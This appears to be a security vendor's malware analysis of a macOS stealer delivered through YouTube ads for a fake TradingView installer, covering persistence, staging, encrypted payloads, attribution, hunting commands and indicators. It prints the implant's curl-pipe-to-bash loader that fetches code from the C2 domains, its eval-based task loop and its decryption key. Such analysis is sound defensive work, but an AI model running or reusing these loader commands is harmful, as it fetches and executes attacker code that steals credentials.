From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer

SafeDep Team
12 min read

TL;DR

We analyzed a macOS implant recovered from a compromised workstation. The infection started with a Google video ad on YouTube that impersonated TradingView and led to a fake .pkg installer. The malware itself is a full remote-controlled task runner, not a single-purpose stealer. It persists through a LaunchAgent that re-downloads a shell stager every five minutes and executes it. The stager fetches arbitrary bash from the command and control (C2) server and runs it through eval. The main payload is a bundled Node.js application, shipped as AES-256-CBC encrypted V8 bytecode and decrypted only in memory. Six native modules provide the invasive capabilities: keylogging, screen capture, keychain access, user interface automation to grant privacy permissions, and a local TLS-intercepting proxy. A rogue root certificate authority (CA) in the System keychain makes the interception trusted.

Impact:

  • Delivery was a paid YouTube video ad, so any user in the targeted audience was a potential victim
  • Every HTTPS session on the host is intercepted through a local proxy on 127.0.0.1:49313
  • The user’s sudo password is cached in plaintext at /Users/Shared/.passwd
  • Browser databases, wallet extension state, keychain items, keystrokes, and screen content are all in scope
  • Persistence survives launchctl disable and process kills; attempted termination re-enables the LaunchAgent

How we found it

The host had three suspicious processes in a single tree:

PIDCommandRole
1109/bin/bash -c curl -fsSL --noproxy '*' https://velvetforge.net | bash || curl ... cedarengine.com | bashLoader, spawned by launchd
1301sudo -S -p env KEY=... TOKEN=<JWT> NODE_OPTIONS=--require ./preload.js ./node app.jsPrivilege escalation
1304./node app.jsThe implant, running as root

Three details stand out immediately. The --noproxy '*' flag bypasses any corporate egress inspection. The sudo -S -p invocation reads a password from standard input, consistent with a phished credential. And NODE_OPTIONS=--require ./preload.js forces Node.js to run attacker code before the main script.

The loader references two domains: velvetforge.net and cedarengine.com. These are the implant’s command and control (C2) servers, with the second acting as a fallback when the first fails. Both appear throughout the rest of this analysis.

Delivery through a YouTube ad for a fake TradingView installer

The delivery vector is confirmed from browser history forensics. It was not a paste-into-Terminal lure. It was malvertising.

On July 26, 2026, the user clicked an in-video ad on YouTube titled “FREE 1 Year TradingView Subscription Claim Now for Installing Desktop App”. Google Ads records show the click type video_click_to_advertiser_site, campaign identifier 24022739496, and a click ID (gclid). The attacker paid Google to run this placement.

The chain from click to compromise took two minutes:

Time (UTC)Event
14:16:00Ad click through googleadservices.com to attacker-uploaded YouTube video jfTdpYsvVz0
14:16:09Description-link click to tradingview.15years-ultimate-utility.com, redirecting to 15th-anniversary-free.com
14:16:20Download of latest_v19.398.7_setup.pkg (2,081,181 bytes)
14:16:59Sudo password written to /Users/Shared/.passwd
14:17:00sLaunchAgent plist created

Both redirect domains are attacker-owned and carry the same campaign tag, utm_campaign=o429-12.2&bid=MC. The tradingview. subdomain label is brand impersonation on an unrelated apex. The landing page presented a “TradingView Lifetime Pro — 15th Anniversary” theme.

The .pkg itself was deleted after installation, but the evidence bounds its behavior. At about 2 MB it is far too small to contain the framework (the encrypted payload alone is 5.1 MB, the Node.js runtime about 40 MB). It was a minimal loader. It ran inside the trusted Installer.app flow, which prompted for an admin password through a native dialog. The installer captured that password, wrote it to /Users/Shared/.passwd, installed the LaunchAgent, and exited. The heavyweight components arrived later, staged over 24 days through the C2 task channel.

Persistence through a LaunchAgent watchdog

Persistence lives in one plist:

~/Library/LaunchAgents/com.microsoft.service.systemhelperwatcher.v8mgfk.plist

The label masquerades as a Microsoft service. The file is unsigned, owned by the user, and its only program is the two-domain curl | bash fallback above. Four keys make it resilient:

  • RunAtLoad = true — runs at login
  • KeepAlive = true — respawns on exit
  • ThrottleInterval = 5 — minimum five seconds between restarts
  • StartInterval = 300 — fires every five minutes regardless

The result: even if a defender deletes the payload directory, the LaunchAgent re-fetches the stager from velvetforge.net, or cedarengine.com as a fallback, within five minutes. Background Task Management shows the entry as enabled and allowed. The registered executable is /bin/bash, so no attacker binary appears in the system’s launch item inventory.

The stager: a task-dispatch loop

The two C2 domains are fronted by Cloudflare and serve the same 62-line shell script. They label it application/pdf, a mislabeled type that the client also enforces. The script only runs when it detects it was launched by launchd (XPC_FLAGS=0x0 or XPC_SERVICE_NAME set, TASK_LABEL present). This gate defeats manual analysis and sandboxes.

The core loop is simple and dangerous:

Terminal window
while true; do
SCRIPT=$(invoke_request /script 2>/dev/null)
if [ -z "$SCRIPT" ]; then
# back off; after 5 empty replies, sleep 300-900s and exit
...
fi
eval "$SCRIPT"
sleep 3
done

The invoke_request helper issues GET /script against the C2, and the loop executes whatever the response body contains. The request carries two headers:

  • X-Machine-Id: the lowercased UUID of the APFS Data volume, a stable per-host identifier
  • X-Token: an HS256 JWT with aud=coordination, hard-coded in the script. It authenticates the campaign, not the host

The Content-Type gate doubles as a kill switch. The operator can stop serving tasks to any victim by changing the response MIME type.

Self-healing on exit

The script installs a trap that re-enables, re-bootstraps, and kickstarts the LaunchAgent on any clean exit. SIGTERM, SIGHUP, and SIGINT are caught and converted to exit 0, which fires the trap. Killing the process re-enables persistence. Removal requires deleting the plist, the password cache, and the payload directory from a recovery environment, not from the live session.

The plaintext password cache

The stager reads /Users/Shared/.passwd and pipes it into sudo -S -p ''. This file holds the user’s sudo password in plaintext, captured once through a fake prompt during installation. /Users/Shared is world-readable, so any local process can read it. Treat the account password as fully compromised.

The payload: encrypted V8 bytecode in memory

The working directory ~/Library/Application Support/.com.microsoft.service.systemhelperwatcher.v8mgfk/ contains a legitimate, Developer-ID-signed Node.js binary. The malware uses it as a signed proxy: Node’s hardened-runtime entitlements (disable-library-validation, allow-jit) let it load unsigned native modules and execute JIT-compiled code without tripping Gatekeeper or XProtect.

Execution has three stages:

  1. preload.js (161 KB, obfuscated with a javascript-obfuscator string array) decrypts an inline blob with AES-256-CBC using process.env.KEY, then evals the result.
  2. The stage-2 script installs a Module._extensions['.js'] hook. When Node loads app.js, the hook reads the file, decrypts it (the IV is the first 16 bytes of the ciphertext), and loads the plaintext through new vm.Script(placeholder, { cachedData }).
  3. The plaintext is not JavaScript source. It is an 18.6 MB V8 code cache: pre-compiled bytecode for a bundle of roughly 7.5 MB of source. The original source is not recoverable from disk.

Decrypting the payload without executing it

We recovered the plaintext with a capture-only loader, so no attacker code ever ran. Three steps:

  1. Capture stage 2. We patched the single eval(z) call at the end of preload.js so it wrote the decrypted blob to disk and exited. That produced a 13.9 KB stage-2 script, still obfuscated but readable enough to analyze.
  2. Hook the cryptographic calls. A runner script loaded stage 2 with two monkey-patches. crypto.createDecipheriv was wrapped to log the algorithm, key, and IV. The vm.Script constructor was wrapped to dump any cachedData buffer and call process.exit(0) before runInThisContext() could execute it.
  3. Replay with the recovered key. We ran the loader under Node.js v22.22.0, matching the attacker-shipped binary. The KEY value came from the privilege-escalation process (PID 1301 above). Stage 2’s own .js hook then decrypted app.x64.js and handed the plaintext to our hooked constructor.

The observed cipher parameters:

FieldValue
AlgorithmAES-256-CBC
Key2e1ba69fb0124bbeb8b24fd8c719f9910401a3d0f1c18a99e9f5acdece54d8fa (from process.env.KEY)
IVFirst 16 bytes of the ciphertext file
Recovered plaintext18,646,360-byte V8 code cache; declared source length 7,544,235 bytes

The stage-2 loader reveals why the plaintext is bytecode. It loads the cache against a placeholder source of null bytes:

const sourceLen = plain.readUInt32LE(0x8);
const script = new vm.Script('\0'.repeat(sourceLen), {
cachedData: plain,
filename,
});
if (script.cachedDataRejected) throw new Error();
script.runInThisContext();

V8 skips parsing entirely when it accepts the cache. Stage 2 also sets --no-lazy and --no-flush-bytecode to keep the cache reproducible. Because V8 validates the cache against a source hash and length, the file cannot be re-parsed as text. Reading the implant’s logic would require V8 bytecode disassembly or instrumented execution in a locked-down sandbox.

String-mining the cache yielded 46,645 strings. Almost all belong to bundled dependencies: axios, undici, ws, a tRPC client, and two WebAssembly builds of the llhttp parser. The implant speaks tRPC over WebSocket to its C2, with full HTTP and SOCKS5 proxy support. Attacker strings are absent, consistent with runtime-decoded obfuscation.

Native sidecar modules

The bundle loads six N-API modules named 0.<hash>.node, an artifact of the @vercel/ncc bundler. All are universal Mach-O binaries, ad-hoc signed, loaded unencrypted through standard require().

ModuleLanguageRole
0.j2ustclo82q.node (5.7 MB)Rust (napi-rs + tokio)Main capability engine
0.zajzrie0e0k.node (9.9 MB)C++ (Boost.Beast + static OpenSSL)Local TLS-terminating MITM proxy
0.tqyrzhsmyo.node (3.8 MB)Cbetter-sqlite3, for browser databases
0.t5q8yacuhpa.node (846 KB)C++LevelDB, the implant task queue
0.tg5rts3cmn.node (147 KB)C++node-pty, interactive shell channel
0.pm2crnimu7c.node (212 KB)N-APISmall helper, role unconfirmed

The Rust module exports about thirty functions. They cover global keylogging (keyboard_start), synthetic input, and screen capture through ScreenCaptureKit. They also cover invisible recording through CGVirtualDisplay, which shows no on-screen indicator, plus keychain reads, root CA installation (trust_system_certificate), system proxy reconfiguration (set_proxy), and Focus-mode suppression of notifications. The module also automates the Passwords app through accessibility APIs to export the vault, and clicks through privacy permission dialogs on its own. The error strings are diagnostic. "Use Password button not found in Touch ID dialog" and "Allow button not found in TCC dialog" show a library of UI element descriptions. A fake SystemUpdater.app facade with strings in about thirty languages supports this library across localizations.

The C++ module closes the interception loop. It terminates TLS with leaf certificates minted under the rogue CA, then re-encrypts to the real origin. With the system proxy pointed at 127.0.0.1:49313 and the CA trusted in the System keychain, every URLSession consumer on the host sends its HTTPS traffic through the implant.

End-to-end execution model

End-to-end execution model: from YouTube video ad through the fake TradingView installer, LaunchAgent persistence, staged tarball delivery, and in-memory V8 bytecode execution to the local MITM proxy

One detail refined the delivery model. The three tarballs on disk have modification dates spread across 24 days, after the LaunchAgent was already beaconing. The initial .pkg shipped only the persistence stub. The runtime, facade app, and payload arrived later through /script dispatches. This is an inference from on-disk timestamps, but it matches both the small installer size and the stager’s design as a general task runner.

Attribution: a macOS port of WEEVILPROXY/JSCEAL

The strongest public correlation is the family tracked as WEEVILPROXY by WithSecure and JSCEAL by Check Point Research. The fingerprints match at two levels: architecture and delivery.

TraitThis sample (macOS)JSCEAL/WEEVILPROXY (Windows)
C2 protocoltRPC over WebSockettRPC over WebSocket
C2 headerX-Machine-Id, JWTX-Machine-Id
RuntimeBundled Node.jsBundled node.exe
BootstrapNODE_OPTIONS=--require preload.jsnode.exe -r preflight.js app.jsc
PayloadEncrypted V8 code cacheCompiled .jsc
Native modules0.<hash>.node, ncc-bundled0.<hash>.node, ncc-bundled
Obfuscationjavascript-obfuscatorjavascript-obfuscator
Malvertising lureTradingView impersonationTradingView impersonation
Ad platformGoogle/YouTube video adsMeta ads
Installer container.pkgSigned MSI
Theft targetsBrowser databases, wallets, keychain, MITMBrowser cookies, wallets, man-in-the-browser

The delivery-vector overlap is notable. Bitdefender documented a TradingView-impersonation malvertising cluster for this family in September 2025. Our sample uses the same brand lure and the same targeting logic, moved from Meta ads to YouTube video ads, and from an MSI to a macOS-native .pkg. Both containers ride the trust users place in OS-native installers.

The remaining differences are what a Windows-to-macOS port requires: a LaunchAgent instead of Windows persistence, the SystemUpdater.app facade, and macOS-specific native modules. We found no public writeup naming this macOS variant, its domains, or its persistence label. This attribution is an inference, not a confirmed fact.

Detection and hunting

Hunt for these artifacts on macOS endpoints:

Terminal window
# The persistence label and any unsigned LaunchAgents referencing curl
grep -rl "systemhelperwatcher" ~/Library/LaunchAgents/ /Library/LaunchAgents/ 2>/dev/null
grep -l "curl -fsSL --noproxy" ~/Library/LaunchAgents/*.plist 2>/dev/null
# The plaintext password cache
sudo shasum -a 256 /Users/Shared/.passwd 2>/dev/null
# The payload directory
ls -la ~/"Library/Application Support/.com.microsoft.service.systemhelperwatcher.v8mgfk"
# A local proxy listener owned by node
lsof -nP -iTCP:49313 -sTCP:LISTEN
scutil --proxy | grep 127.0.0.1
# Non-Apple certificates in the System keychain
sudo security find-certificate -a -Z /Library/Keychains/System.keychain | grep -B5 "C=US"
# Chrome downloads from the delivery domains
sqlite3 ~/Library/Application\\ Support/Google/Chrome/Default/History \
"SELECT target_path, tab_url FROM downloads WHERE tab_url LIKE '%15th-anniversary-free.com%';"

Other victims will have ~/Downloads/latest_v*_setup*.pkg entries with a YouTube referrer and the utm_campaign=o429-12.2 tag.

Network-side, both C2 domains can be probed with a plain GET from a sandbox. The server does not gate on user agent, so proxy logs containing X-Machine-Id headers identify additional compromised hosts.

Indicators of compromise

Network:

  • velvetforge.net (primary C2, Cloudflare-fronted)
  • cedarengine.com (fallback C2, Cloudflare-fronted)
  • Endpoint: GET /script with headers X-Machine-Id and X-Token
  • Responses mislabeled Content-Type: application/pdf

Delivery infrastructure:

  • tradingview.15years-ultimate-utility.com (first redirect hop, brand impersonation)
  • 15years-ultimate-utility.com (attacker-owned apex)
  • 15th-anniversary-free.com (landing page and .pkg host)
  • Payload URL: https://15th-anniversary-free.com/latest_v19.398.7_setup.pkg
  • Campaign tag: utm_campaign=o429-12.2&bid=MC
  • YouTube video ID jfTdpYsvVz0 (attacker-uploaded promotional video)
  • Google Ads: ad_cpn=uvAxyoo0SsFLTENr, campaign ID 24022739496, publisher slot ca-pub-6219811747049371
  • Filename pattern: latest_v<version>_setup.pkg, 2,081,181 bytes

Files and paths:

  • ~/Library/LaunchAgents/com.microsoft.service.systemhelperwatcher.v8mgfk.plist (SHA-256: 98338c00c88b44cecbae876476b2c72d87daaa344f129488dacf0e0708a53218)
  • ~/Library/Application Support/.com.microsoft.service.systemhelperwatcher.v8mgfk/
  • /Users/Shared/.passwd (plaintext sudo password)
  • preload.js (SHA-256: 3a85caeef685772499337f8bfcc5a11483057188d6958af8a3b28139cb2be0ae)
  • app.js (SHA-256: c6cdd58cc498655e985b6d00793f268c435a1b8aa77771a0ca57f72eae2e96e7), app.x64.js (SHA-256: 30113a67fcd20f6ff33dbca938f1213cc4135c4e06fb85cf4055bc36a775021c)
  • Rogue root CA in System keychain (SHA-256: 399BC8604CECB28415B8E759BF7AF20C90D69F84AEDFE9B2C06B30326109BB7F, self-signed C=US, RSA-4096, valid 2025-07-27 to 2027-07-27)
  • Local proxy listener on 127.0.0.1:49313

Cryptographic material:

  • AES-256-CBC payload key: 2e1ba69fb0124bbeb8b24fd8c719f9910401a3d0f1c18a99e9f5acdece54d8fa
  • JWTs for the stager: HS256, aud=coordination, per-domain claim, expiry 2026-09-04
  • Loader JWT: RS256, aud=loader, per-implant

YARA-worthy strings:

  • macos-native.darwin-universal.node
  • Use Password button not found in Touch ID dialog
  • Allow button not found in TCC dialog
  • trust_system_certificate, autofill_export_passwords
  • beast.http + boost_asio + napi_register_module_v1

Key takeaways

  • Malvertising on a major platform delivered this implant. A paid YouTube video ad, a brand-impersonation landing page, and a native .pkg installer were enough. No exploit and no paste-into-Terminal trick was involved.
  • The Installer.app admin prompt is a high-trust credential collection point. One typed password gave the attacker persistent silent root through /Users/Shared/.passwd.
  • A legitimate signed Node.js binary, combined with NODE_OPTIONS=--require, is enough to bypass Gatekeeper, notarization, and static antivirus. The payload never exists on disk as readable code.
  • Shipping the payload as a V8 code cache defeats string-based detection and casual reverse engineering. Analysis requires bytecode disassembly or instrumented execution.
  • The persistence design punishes partial remediation. Killing the process or disabling the LaunchAgent re-arms it.
  • The stager is a general task runner. Capabilities can change at the operator’s pace, as the 24-day staged delivery shows.
  • Rogue root CA plus a local proxy turns one compromised Mac into a full TLS interception point for every application that honors system proxy settings.
  • macOS
  • malware
  • nodejs
  • reverse-engineering
  • stealer

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.